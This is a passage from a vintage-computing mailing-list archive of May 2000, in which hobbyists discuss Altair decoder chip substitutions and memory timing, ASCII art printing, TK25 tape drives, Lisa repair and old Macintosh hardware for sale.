character" program. If I recall correctly (:-) the scanning program was written in house, but the convert program was a DECUS submission.... From allisonp at world.std.com Wed May 24 07:39:58 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions In-Reply-To: <001301bfc52b$3a8f5200$0400c0a8@winbook> Message-ID: > (pre-Columbian) data book. IIRC Intel really didn't make any of its TTL > parts, as their fab was dedicated to PMOS, NMOS, and later, CMOS devices. > Therefore I'd suspect that the i8205 (and also the i3205) were strictly TTL, > or, more correctly, schottky TTL. The i8205, by the way, sinks only 10 mA > as opposed to the schottky equivalent, the 'S138, which sinks somewhere > between 16 and 24 mA, depending on whose databook of that day you consult. > This was probably more specsmanship than technology, however. My intel data book set for the 1974-1981 window is fairly complete and the I8205 has the exact same specs ans the TI LS138. Intel did have bipolar fab back then and parts they did there included things like 3212, 300x, 8216/8126, 8224, 8228/38, an assortment of Bipolar PROMs and later part like 8282, 8283, 8219, 8284, 8284A and others. Their capability is limted so they did farm out stuff (under license) to TI and AMD. Allison From jhfine at idirect.com Wed May 24 07:45:56 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:52:56 2005 Subject: New Finds Today - Specifically the TK25 References: <022201bfc521$9b444b00$7d731fd1@default> Message-ID: <392BCF04.28F1A20C@idirect.com> >John R. Keys Jr. wrote: > Had a good day today as I got a digital TK25 with cable Jerome Fine replies: >From personal experience, a TK25 is about 25% faster than a TK50 (AFTER the tape has been tensioned the first time it is inserted - which may take as long as a few minutes - but can often be done while other things are happening - like booting the OS). In RT-11, I also use VBGEXE to increase the size of the buffers when I do a "/VERIFY:ONLY" command (yes I know - that notation can't be used with VBGEXE which requires CSI switches). I may have a spare controller. Do you have anything to swap? I may also have a few spare cartridges. The drive uses standard DC600A tapes (1/4" QIC cartridges). The only drawback compared to a TK50 is that the capacity is less than 2 RT-11 partitions, but when it comes to doing a "/VERIFY:ONLY" on a TK50, it takes so long that I never used the TK50 for regular backup, only as an off-site exchange media. And then, a VERIFY operation consisted of doing a RESTORE to a scratch partition followed by a BINCOM with the original file or partition. Sincerely yours, Jerome Fine From allisonp at world.std.com Wed May 24 07:45:42 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions In-Reply-To: <001b01bfc52d$4079fd80$0400c0a8@winbook> Message-ID: > select a bunch of memories, and one to select a bunch of '138's that > selected the memories. Back when small (1K-bit) memories were the most > common sort, there were lots of chips expecting to see that select strobe, > and the worst case load made the prop-delay long. Compared to the typical 500-650ns prop delay of common memories back in 1976 teh prop delay of the '138 was relatively short. > configuration might have been a bank of 72 2102's (they liked parity back > then) and about eight 1702's. One 138 would drive each of the rows of RAMs, I found it to be rare except in mainframes and then it was usually 4kx1 parts which were common and available. > layout I suggested. 2102's back then had a typical access time of 600 ns > and 1702's were somewhere between 750 and 1000 nanoseconds. I don't think > one could claim that 50 ns is negligible with a 2 MHz 8080 under those > conditions. It was. The 2102s were fast enough to run with no waits but 1702s were so slow another 50ns was nothing as waits were added in 500ns increments. By 1977 the 1702 was long gone and nearly history for anything other than hobby and existing production and the 2508/2716 were moving in fast with a 450ns Tacc. Allison From RCini at congressfinancial.com Wed May 24 08:06:37 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions Message-ID: <497A9E0467D2D2119B760090271EB8E50E9162@MAIL10> They always said that you learn something new every day. Thanks for the dual-ported tutorial. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Eric Smith [mailto:eric@brouhaha.com] Sent: Tuesday, May 23, 2000 5:45 PM To: classiccmp@classiccmp.org Subject: Re: Altair parts substitutions > This is what I meant exactly - no bi-directional data bus. I'm guessing that > there is a fine distinction between dual-ported and separate input and > output busses... Specifically, a true dual-ported RAM chip has separate address busses and control signals/strobes (*RD and *WR, or *CS and R/*W, or the like) for each port. Dual-port RAM chips tend to be expensive and not very high-density, so they aren't commonly found in commodity computer hardware. It's usually more cost-effective to time-multiplex a single port. Current manufacturers of dual-port RAM chips include Cypress and IDT. There are even some quad-port RAM chips now. From emu at ecubics.com Wed May 24 09:20:51 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:57 2005 Subject: EPROM 27c210 References: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> <4.3.1.2.20000523234718.00e324e0@208.226.86.10> Message-ID: <004501bfc58b$461042a0$5d01a8c0@p2350> Hi, anybody has the datasheet, pinout of this EPROM ? (Intel, TI, ...) cheers & thanks, emanuel From rigdonj at intellistar.net Wed May 24 10:04:56 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:57 2005 Subject: another good CC day! Message-ID: <3.0.1.16.20000524100456.25b7b226@mailhost.intellistar.net> I stopped by one of my favorites scrap yards yesterday and found SIX Cromemco Z2D S-100 bus computers. They were getting ready to shove them into a container of scrap that was heading for China. These a nicely loaded copmputers that have two floppy drives and a hard drive. They were mounted in 19 inch racks and were used to operate some kind of test stations and were in perfect condition. I managed to get one more or less complete one and most of the cards out of the others but they wanted the racks to appear full so that won't let me have any of the other cases, power supplies or drives. I watched as one was smashed to half it's original size trying to make it fit in the shipping container and another was torn to shreds (20 pound computer vs 12,000 pound forklift). I substituted DEC stuff in the shipping container for the last three so they have a short reprieve. I think I've made a deal to swap some other rack mount stuff for the remaining cases and parts. (Keeping my fingers crossed!) I also found three TRS model 4s there. These just came in yesterday and should be safe until Saturday since the owner's are out of town till then. They appear to be complete and in good shape but have been in storage for a LONG time and are dirty and dusty. That's all I know about them. If anyone is in the central Florida area and wants one or all of the model 4s and can pick it up Saturday, contact me directly for directions. Joe From mmcfadden at cmh.edu Wed May 24 09:28:30 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:52:57 2005 Subject: ASCII art pictures Message-ID: <9C7BDA783D31D411B1E5009027FC28493C9992@EXCHANGE2> There was "actual" work done using ascii art. We used to plot growth curves of bacteria using ASCII characters. We looked at the growth patterns of 1000's of samples with varying concentrations of antibiotics included. This was very cumbersome and slow. We then purchased a Versatec printer to speed the process. Still ASCII plots but faster. One research run would consume an entire box of versatec paper. For recreation I developed a raster plotting version on the Versatec but it was much slower and computer intensive, it did do b/w pictures nicely. The next refinement after plain ASCII printer art was output on a Printronix P300 or P600. You could print raster pictures. The sound of the printer tipped off the staff to the production of a picture. Afterhours was always available. I may try and read my old tape and recover the images. I know it was scanned using a vidicon tube over a light box at 256 X 256 resolution 8 bits grayscale. I have kept and moved the tape for the last 25 years. Mike "Old computer guy" From richard at idcomm.com Wed May 24 09:55:27 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions References: Message-ID: <001101bfc590$1be1ab40$0400c0a8@winbook> Are you sure about that, Allison? I recall popping the lid off a ceramic-packaged Intel labelled 28-pin logic device back in the '70's and finding it housed a die clearly marked NS (under a microscope). In another case, it was a PROM and clearly marked with Signetics' logo on the die. Dick ----- Original Message ----- From: To: Sent: Wednesday, May 24, 2000 6:39 AM Subject: Re: Re[2]: Altair parts substitutions > > (pre-Columbian) data book. IIRC Intel really didn't make any of its TTL > > parts, as their fab was dedicated to PMOS, NMOS, and later, CMOS devices. > > Therefore I'd suspect that the i8205 (and also the i3205) were strictly TTL, > > or, more correctly, schottky TTL. The i8205, by the way, sinks only 10 mA > > as opposed to the schottky equivalent, the 'S138, which sinks somewhere > > between 16 and 24 mA, depending on whose databook of that day you consult. > > This was probably more specsmanship than technology, however. > > > My intel data book set for the 1974-1981 window is fairly complete and the > I8205 has the exact same specs ans the TI LS138. Intel did have bipolar > fab back then and parts they did there included things like 3212, 300x, > 8216/8126, 8224, 8228/38, an assortment of Bipolar PROMs and later part > like 8282, 8283, 8219, 8284, 8284A and others. Their capability is limted > so they did farm out stuff (under license) to TI and AMD. > > Allison > > > From mmcfadden at cmh.edu Wed May 24 09:56:54 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:52:57 2005 Subject: ASCII art Message-ID: <9C7BDA783D31D411B1E5009027FC28493C9993@EXCHANGE2> I guess I must be an old school type of programmer. About 1975 each student seemed to have a program they developed. I used a Fortran program that had 3 arrays each 10 characters deep. You scaled the picture value into the range 0-9 and used the value as an offset into the array. You printed the line 3 time with out a line feed and then issued a line feed. Example: picture value array 1 array2 array3 0 space space space 1 period space space 2 colon space space 3 plus space space . . . 9 0 W M With this scheme you could build up a fairly dark spot for black points. Later versions included image processing to improve the look of the image. Histogram equalization makes visually much better pictures. Early weather maps are a good example of this type of image. I remember seeing punch card decks that had ASCII pictures in comments at the beginning. It made it easy to see if your output was coming off the printer when you saw the picture in the source. Mike "old code dog" From richard at idcomm.com Wed May 24 10:23:14 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions References: Message-ID: <001701bfc594$0aa54c20$0400c0a8@winbook> You missed my point, Allison. What I hoped you'd get from that message was that there were MANY parts involved in even a small memory array, which meant a longer decoder tree than what we'd use today, or even 15 years ago. Since the specified prop-delay is on the order of 35 ns, multiplied by two or three, the difference between the TTL parts at nominally 25 extra ns of prop delay per decoder, the prop-delay difference is significant, and it's especially so in the context of the slow memory devices of the time. If there were only a 250 ns access time for memory devices, it would have been insignificant because it consumed a small part of a large window. In this case, however it consumed a large part of what was left of the window after the access time was deducted from the window. I've embedded a few remarks below, too. Dick ----- Original Message ----- From: To: Sent: Wednesday, May 24, 2000 6:45 AM Subject: Re: Re[2]: Altair parts substitutions > > select a bunch of memories, and one to select a bunch of '138's that > > selected the memories. Back when small (1K-bit) memories were the most > > common sort, there were lots of chips expecting to see that select strobe, > > and the worst case load made the prop-delay long. > > Compared to the typical 500-650ns prop delay of common memories back in > 1976 teh prop delay of the '138 was relatively short. > > > > configuration might have been a bank of 72 2102's (they liked parity back > > then) and about eight 1702's. One 138 would drive each of the rows of RAMs, > > I found it to be rare except in mainframes and then it was usually 4kx1 > parts which were common and available. > In '77 I read one memorable article in which an IBM exec was complaining that they couldn't get enough of the 4kx1 i2147's (55 ns, 70 ns, 120 ns) to meet their needs. It was a couple of years yet, before we small users could even get the TI 4044, NS 5257, or i2141. They were still pretty costly in '79. > > > layout I suggested. 2102's back then had a typical access time of 600 ns > > and 1702's were somewhere between 750 and 1000 nanoseconds. I don't think > > one could claim that 50 ns is negligible with a 2 MHz 8080 under those > > conditions. > > It was. The 2102s were fast enough to run with no waits but 1702s were so > slow another 50ns was nothing as waits were added in 500ns increments. > That, precisely was the critical factor. Nobody wanted to run with more waits than absolutely necessary. > > By 1977 the 1702 was long gone and nearly history for anything other than > hobby and existing production and the 2508/2716 were moving in fast > with a 450ns Tacc. > Yes, but ... the 5-volt parts were costing on the order of $100 per piece. I bought a bunch for a project and still remember the "sticker-shock," though it wasn't any better a year later when I had to buy 2732's. In the latter case, I sold them for $25 each to a west-coast surplus vendor who turned around and sold them for $80 each. > In '77, Intel's boards were shipped populated with 2708's. I bought lots of their boards and even more of the EPROMS. 2102's were typically 600 ns, while the 21L02's, which were easier on the power budget, were quite expensive by comparison. This had changed significantly by late '78, as had the TTL market, but 450ns 21L02's weren't the fastest available. They were just what Intel shipped. That year Intel started shipping their 8020-4 boards which were the first ones I got with the 8080-A and 2708's in combination with 2114's. These were 450 ns parts. Within a year, they had shifted to an 8085 board numberd iSBC-8024 which used 8708's (just 5-volt 2708's) and those really silly 8185's which were srams with multiplexed address/data inputs compatible with the 8085's timing. By that time I decided to quit using Intel SBC's. > > Allison > > From allisonp at world.std.com Wed May 24 11:29:45 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: <001101bfc590$1be1ab40$0400c0a8@winbook> Message-ID: On Wed, 24 May 2000, Richard Erlacher wrote: > Are you sure about that, Allison? I recall popping the lid off a > ceramic-packaged Intel labelled 28-pin logic device back in the '70's and > finding it housed a die clearly marked NS (under a microscope). In another > case, it was a PROM and clearly marked with Signetics' logo on the die. Yes, and so? It conforms with what I said. Now was that 28 pin device one of those listed? Also Nec made MOS devices for intel Namely 8274 and 8272 as well. Allison > > Dick > ----- Original Message ----- > From: > To: > Sent: Wednesday, May 24, 2000 6:39 AM > Subject: Re: Re[2]: Altair parts substitutions > > > > > (pre-Columbian) data book. IIRC Intel really didn't make any of its TTL > > > parts, as their fab was dedicated to PMOS, NMOS, and later, CMOS > devices. > > > Therefore I'd suspect that the i8205 (and also the i3205) were strictly > TTL, > > > or, more correctly, schottky TTL. The i8205, by the way, sinks only 10 > mA > > > as opposed to the schottky equivalent, the 'S138, which sinks somewhere > > > between 16 and 24 mA, depending on whose databook of that day you > consult. > > > This was probably more specsmanship than technology, however. > > > > > > My intel data book set for the 1974-1981 window is fairly complete and the > > I8205 has the exact same specs ans the TI LS138. Intel did have bipolar > > fab back then and parts they did there included things like 3212, 300x, > > 8216/8126, 8224, 8228/38, an assortment of Bipolar PROMs and later part > > like 8282, 8283, 8219, 8284, 8284A and others. Their capability is limted > > so they did farm out stuff (under license) to TI and AMD. > > > > Allison > > > > > > > From allisonp at world.std.com Wed May 24 11:33:33 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: <001701bfc594$0aa54c20$0400c0a8@winbook> Message-ID: On Wed, 24 May 2000, Richard Erlacher wrote: > You missed my point, Allison. What I hoped you'd get from that message was > that there were MANY parts involved in even a small memory array, which > meant a longer decoder tree than what we'd use today, or even 15 years ago. > Since the specified prop-delay is on the order of 35 ns, multiplied by two Ok, for the reading impaired. For a memeory system of those speeds 25ns is NOTHING or functionally close to it. The average S100 card was 32 or 64 2012s and most managed despite thge slow ttl and memories to hit the required speed for 8080 quite easily even with two layers of 74138 plus 7483s for mapping segments. Allison > or three, the difference between the TTL parts at nominally 25 extra ns of > prop delay per decoder, the prop-delay difference is significant, and it's > especially so in the context of the slow memory devices of the time. If > there were only a 250 ns access time for memory devices, it would have been > insignificant because it consumed a small part of a large window. In this > case, however it consumed a large part of what was left of the window after > the access time was deducted from the window. > > I've embedded a few remarks below, too. > > Dick > > ----- Original Message ----- > From: > To: > Sent: Wednesday, May 24, 2000 6:45 AM > Subject: Re: Re[2]: Altair parts substitutions > > > > > select a bunch of memories, and one to select a bunch of '138's that > > > selected the memories. Back when small (1K-bit) memories were the most > > > common sort, there were lots of chips expecting to see that select > strobe, > > > and the worst case load made the prop-delay long. > > > > Compared to the typical 500-650ns prop delay of common memories back in > > 1976 teh prop delay of the '138 was relatively short. > > > > > > > configuration might have been a bank of 72 2102's (they liked parity > back > > > then) and about eight 1702's. One 138 would drive each of the rows of > RAMs, > > > > I found it to be rare except in mainframes and then it was usually 4kx1 > > parts which were common and available. > > > In '77 I read one memorable article in which an IBM exec was complaining > that they couldn't get enough of the 4kx1 i2147's (55 ns, 70 ns, 120 ns) to > meet their needs. It was a couple of years yet, before we small users could > even get the TI 4044, NS 5257, or i2141. They were still pretty costly in > '79. > > > > > layout I suggested. 2102's back then had a typical access time of 600 > ns > > > and 1702's were somewhere between 750 and 1000 nanoseconds. I don't > think > > > one could claim that 50 ns is negligible with a 2 MHz 8080 under those > > > conditions. > > > > It was. The 2102s were fast enough to run with no waits but 1702s were so > > slow another 50ns was nothing as waits were added in 500ns increments. > > > That, precisely was the critical factor. Nobody wanted to run with more > waits than absolutely necessary. > > > > By 1977 the 1702 was long gone and nearly history for anything other than > > hobby and existing production and the 2508/2716 were moving in fast > > with a 450ns Tacc. > > > Yes, but ... the 5-volt parts were costing on the order of $100 per piece. > I bought a bunch for a project and still remember the "sticker-shock," > though it wasn't any better a year later when I had to buy 2732's. In the > latter case, I sold them for $25 each to a west-coast surplus vendor who > turned around and sold them for $80 each. > > > In '77, Intel's boards were shipped populated with 2708's. I bought lots of > their boards and even more of the EPROMS. 2102's were typically 600 ns, > while the 21L02's, which were easier on the power budget, were quite > expensive by comparison. This had changed significantly by late '78, as had > the TTL market, but 450ns 21L02's weren't the fastest available. They were > just what Intel shipped. That year Intel started shipping their 8020-4 > boards which were the first ones I got with the 8080-A and 2708's in > combination with 2114's. These were 450 ns parts. Within a year, they had > shifted to an 8085 board numberd iSBC-8024 which used 8708's (just 5-volt > 2708's) and those really silly 8185's which were srams with multiplexed > address/data inputs compatible with the 8085's timing. By that time I > decided to quit using Intel SBC's. > > > > Allison > > > > > From transit at lerctr.org Wed May 24 11:39:38 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:52:57 2005 Subject: Versatec and Printronix (was: Re: ASCII art pictures In-Reply-To: <9C7BDA783D31D411B1E5009027FC28493C9992@EXCHANGE2> Message-ID: On Wed, 24 May 2000, McFadden, Mike wrote: > There was "actual" work done using ascii art. We used to plot growth curves > of bacteria using ASCII characters. We looked at the growth patterns of > 1000's of samples with varying concentrations of antibiotics included. This > was very cumbersome and slow. We then purchased a Versatec printer to speed > the process. Still ASCII plots but faster. One research run would consume > an entire box of versatec paper. For recreation I developed a raster > plotting version on the Versatec but it was much slower and computer > intensive, it did do b/w pictures nicely. At my school (UC Santa Barbara, 1983-1987) a few of the "engineering" and "research" VAXen had Versatec printers. (They were considered too expensive for normal undergraduate use). > The next refinement after plain > ASCII printer art was output on a Printronix P300 or P600. You could print > raster pictures. The sound of the printer tipped off the staff to the > production of a picture. The UCSB Computer Center had a Printronix that could print dot-matrix printers, when sent the right codes. The UNIX plot commands worked nicely with it (as well as the Versatec's over in Engineering), giving me a few extra points in a lab writeup for a class that I was otherwise failing ... There was also a filter for troff output that would print on the Printronix, but it was kind of flakey (due to the limited memory on the PDP-11's over at the Computer Center) From elvey at hal.com Wed May 24 11:45:45 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: <001701bfc594$0aa54c20$0400c0a8@winbook> Message-ID: <200005241645.JAA12408@civic.hal.com> "Richard Erlacher" wrote: > > > > By 1977 the 1702 was long gone and nearly history for anything other than > > hobby and existing production and the 2508/2716 were moving in fast > > with a 450ns Tacc. > > > Yes, but ... the 5-volt parts were costing on the order of $100 per piece. > I bought a bunch for a project and still remember the "sticker-shock," > though it wasn't any better a year later when I had to buy 2732's. In the > latter case, I sold them for $25 each to a west-coast surplus vendor who > turned around and sold them for $80 each. > > Hi I find it interesting that after the 2716's were out for a while, and the price had dropped to someplace in the $5-$10 range someplace, the intel 2508's were still in the high $30's. This always amused me because there was no difference at all between the Intel 2716 and the 2508 other than the 2508 was a half bad 2716. I call that real good sales to take bad parts and get more for them. Intel had done this relabel trick because TI was taking their 2708 sales with their real 2508. When working at Intel, we used to get may of the dropout parts to use in our test kludges. We would test the 2508's to see what was bad in the other half and often, if the bad bits were not an issue, we would used them in place of 2716's. I may be incorrect about the 8205 having the negative input voltage. I was thinking about the 8212's that do have extended input voltage. It has been a long time since I was working with these things and much has gotten foggy. I don't remember exactly when 74S138's were first introduced relative to 8205's. I think that is may just have been an issue of the 74S138's were not in full production when Intel was designing things to work with their memories. By the time products were out, they may have seemed to be used at about the same time but when designing, you need to be a little ahead. Dwight From rutledge at cx47646-a.phnx1.az.home.com Wed May 24 12:01:07 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:52:57 2005 Subject: Versatec and Printronix (was: Re: ASCII art pictures In-Reply-To: ; from Charles P. Hobbs (SoCalTip) on Wed, May 24, 2000 at 11:39:38AM -0500 References: <9C7BDA783D31D411B1E5009027FC28493C9992@EXCHANGE2> Message-ID: <20000524100107.A12973@electron.quantum.int> On Wed, May 24, 2000 at 11:39:38AM -0500, Charles P. Hobbs (SoCalTip) wrote: > At my school (UC Santa Barbara, 1983-1987) a few of the "engineering" and > "research" VAXen had Versatec printers. (They were considered too > expensive for normal undergraduate use). Versatec must have made better ones later... when I was at McDonnell-Douglas they had a Versatec 4-color electrostatic plotter. It was a raster device... matter of fact there was an external rasterizer box which would convert vector plot data into the format needed by the plotter. They only did boring electrical diagrams without a lot of color but I used to wonder if it could do full pictures, seems like it could've. It was huge, about a 4 or 5 foot cube, and used a roll of paper the same width as d-size plotter paper. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From ard at p850ug1.demon.co.uk Wed May 24 12:33:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:57 2005 Subject: Lisp Machines: Followup In-Reply-To: <4.3.1.2.20000523030737.00de5890@vonhagen.org> from "William von Hagen" at May 23, 0 03:10:30 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2132 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/c52ee65b/attachment-0001.ksh From elvey at hal.com Wed May 24 13:19:40 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:57 2005 Subject: Shurgart drive question In-Reply-To: Message-ID: <200005241819.LAA13549@civic.hal.com> Hi I'm still working no my NIC-80. I'm having a data pattern sensitive problem. I'm not yet sure if it is in the SA900 drive or in the controller. When looking at the drive, there is a clock/data separator circuit. It uses two one shots. One is for the next clock cycle after a one was read and one is for the next clock cycle if there was no one read. I understand the issues of this shifting of the read data but I don't know how much these two one shots need to be adjusted. The SA800 TTL board also has the same circuit. I was hoping that someone with an old drive could put a 'scope on these two one shots and determine the nominal pulse widths they see? The test points are labled the same on both the SA900 and SA800 series drives as TP21 and TP24. They are negative going pulses. Dwight From jlewczyk at his.com Wed May 24 14:08:31 2000 From: jlewczyk at his.com (John Lewczyk) Date: Sun Feb 27 18:52:57 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: <200005241819.LAA13549@civic.hal.com> Message-ID: <000101bfc5b3$737a3570$013da8c0@Corellian> I just picked up a non-functioning Lisa 2 (which was an upgraded Lisa 1) and have lots of technical documentation, but nothing on the motherboard and wiring between powersupply, video and motherboard/cage assembly. I'd like to avoid tracing it all out if this info is available. The Lisa won't power up when I press the power switch (the power switch and both the front and back safety switches have checked out OK) and I'm attempting to locate that problem. Also, it appears that one 120 pin socket on the motherboard is missing a connector pin, and there is some amount of blue corrosion on the tops of the other connectors. What's the best way to clean off this kind of (light) corrosion (oxidation)? It appears to me that the motherboard socket that is missing one pin will need to be replaced. Anybody have any recommendations on how to best do this? The motherboard is a four layer board. I have soldering/desoldering experience, but I've never tackled an item with this many pins on a 4 layer board before. John Lewczyk From ard at p850ug1.demon.co.uk Wed May 24 12:39:39 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:57 2005 Subject: When new advertising meets old computers In-Reply-To: <200005240153.SAA09757@eskimo.com> from "Derek Peschel" at May 23, 0 06:53:23 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 394 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/a0590270/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 24 12:38:07 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: <00a101bfc51f$cf12d840$6d64c0d0@ajp166> from "allisonp" at May 23, 0 09:13:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 397 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/5552b72e/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 24 13:02:44 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:57 2005 Subject: Versatec and Printronix (was: Re: ASCII art pictures In-Reply-To: <20000524100107.A12973@electron.quantum.int> from "Shawn T. Rutledge" at May 24, 0 10:01:07 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2016 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/5099a998/attachment-0001.ksh From fauradon at mn.mediaone.net Wed May 24 14:25:25 2000 From: fauradon at mn.mediaone.net (FBA) Date: Sun Feb 27 18:52:57 2005 Subject: When new advertising meets old computers Message-ID: <003801bfc5b5$d6ec5c30$3c37d986@fauradon.beckman.com> As a matter of fact and in light of previous exploits on YOUR part yes we do expect you to remember it. If it was anyone else we wouldn't even bother to ask;) Francois >> >> > A maths book we used at school had a paper tape strip as part of the >> > picture on the cover, and that _did_ make sense when read as 5-level >> >> What did it say? > >Look, this was 20+ years ago, and I no longer have the book :-). Since >then I've seen _hundreds_ of pieces of paper tape, and had to read a >number of them by hand. You expect me to _remember_ one of them ??? :-) > >-tony From eric at brouhaha.com Wed May 24 14:35:57 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:57 2005 Subject: Altair parts substitutions In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <20000524193557.30664.qmail@brouhaha.com> > [8205] [...] > I've just checked the schematics, and the chip I replaced (on the PROM > memory board (which uses 1702s, of course)) was a 3205. Same pinout as > the '138, etc. > Any idea if that's a renumbered TI part? The 8205 and 3205 are exactly the same part. From mark_k at iname.com Wed May 24 15:53:15 2000 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:52:57 2005 Subject: Old Mac stuff FS in UK and DEC terminals Message-ID: Hi, I have a number of Mac base units, Apple Trinitron monitors and external SCSI 44MB & 88MB SyQuest drives for sale. I hope the prices are reasonable; they should be worth it for the parts value alone (memory, floppy drives, case, video card, PSU, CPU). Most of the Mac stuff is around 10 years old. Unless stated, everything is tested working and can be seen working. Collection from Dorchester, Dorset, England would be preferable. Also, would there be any interest in Digital VT420 terminals, maybe other types of DEC terminal too? I may be able to acquire a quantity of these very cheaply. I'm no DEC expert; does a complete terminal consist only of the monitor and keyboard? Mac base units -------------- None of these have hard disks. Would be good for upgrading an existing Mac setup. Mac II. Has 800K floppy drive, 20MB RAM (four 1MB and four 4MB 30-pin SIMMs). 68851 MMU chip fitted. Has NuBus video card made by Apple (FCC ID of video card is BCG9GRM0201). 20 pounds Mac II. Two floppy drives, one 800K other 1.44MB. No RAM or video card. 10 pounds Mac II. 8MB RAM. two floppy drives, one 800K other 1.44MB. Has Megascreen 2001 NuBus video card by Megagraphics (may be able to output NTSC/PAL video according to text on PCB). The 800K floppy drive may need cleaning. 15 pounds Mac II. High density floppy drive. No RAM or video card. Probable PSU or main board fault; unit shuts down when a floppy disk is inserted. Floppy drive is good. 4 pounds Mac IIx. Two 1.44MB floppy drives. Has 16Mhz 68030, 68882. 8MB RAM, NuBus video card. Second floppy drive may be unreliable. 20 pounds Mac IIci. High density floppy drive, no RAM. Has 25MHz 68030, 68882. 15 pounds Mac IIvi. Has 16MHz 68030, unsure of amount of RAM on board. High density floppy drive. 15 pounds Mac IIvx. Has 33MHz 68030, unsure of amount of RAM on board. Contains Apple NuBus video card with 1MB RAM (FCC ID of this card is BCGM0121) 20 pounds Mac Centris 650 w/ 44MB SyQuest drive. Has 68040 CPU, unsure of amount of RAM on board. High density floppy drive. 30 pounds Power Mac 6100/60. 16MB RAM (I think). Has Apple PC emulator card with 486DX266 CPU and additional 8MB RAM (FCC ID of this is BCGM3581). High density floppy drive. Unable to fully test due to not having correct monitor cable, but unit makes normal "bong" sound when powered up. 35 pounds 12" Trinitron monitors ---------------------- Macintosh Color Display (M1212) 20 pounds Macintosh Color Display (M1212) 20 pounds AppleColor High_resolution RGB Monitor (M0401Z) 20 pounds External SCSI SyQuest drives ---------------------------- I have tested all these to the extent of powering up, drives are visible on SCSI bus. However I do not have any SyQuest media to fully test. Will offer DOA warranty. These are probably worth it for the cases alone. Mass Microsystems DataPak 44MB drive 10 pounds Mass Microsystems DataPak 88MB drive 15 pounds Computex 44MB drive 10 pounds d2 88MB drive 15 pounds Micronet 44MB drive. Case damaged, drive probably okay 4 pounds External SCSI cases ------------------- Case from Apple Hard Disk 40SC, no drive FREE with other purchase Case from Apple Hard Disk 20SC, no drive FREE with other purchase -- Mark From rigdonj at intellistar.net Wed May 24 16:09:24 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:57 2005 Subject: Strange box Message-ID: <3.0.1.16.20000524160924.2657c59c@mailhost.intellistar.net> Hi, I found this in a pile of surplus computers yesterday. Can anyone tell me what it is? It looks like an ordinary external 5 1/4" drive box but on the back of the box it has a DB-25M connector marked "MODEM/CPU" and a DB-25F connector marked "TERMINAL". There's also a rotary switch labeled "RATE" with positions marked "10", "30", "120", "240", "480", 960" and "EXT". Then there's a toggle switch with positions marked "BIN CTRL ON" "ODD" and "EVEN". And another toggle switch with positons marked "FULL" and "HALF". It has a socket for a standard AC line cord. It's made by Techtran Industries of Rochester, N.Y. and it's a model 950A. My guess is that it's a disk drive that's made to go between a terminal and it's MODEM or computer but I've never heard of one before. If that's what it is, then how do you give it coomands? Joe From mmcfadden at cmh.edu Wed May 24 15:43:04 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:52:57 2005 Subject: ASCII art and plotting Message-ID: <9C7BDA783D31D411B1E5009027FC28493C9994@EXCHANGE2> Using ASCII line art and a printer for plotting allows the human brain to see patterns in large amounts of data. If I plot 3,000 points using a pen plotter with 6 points to the inch I would end up with 40 feet of plot paper with a fine wiggle line on it. If I used a printer, the paper was cheaper, the plot was cruder, but your brain doesn't get lost in the 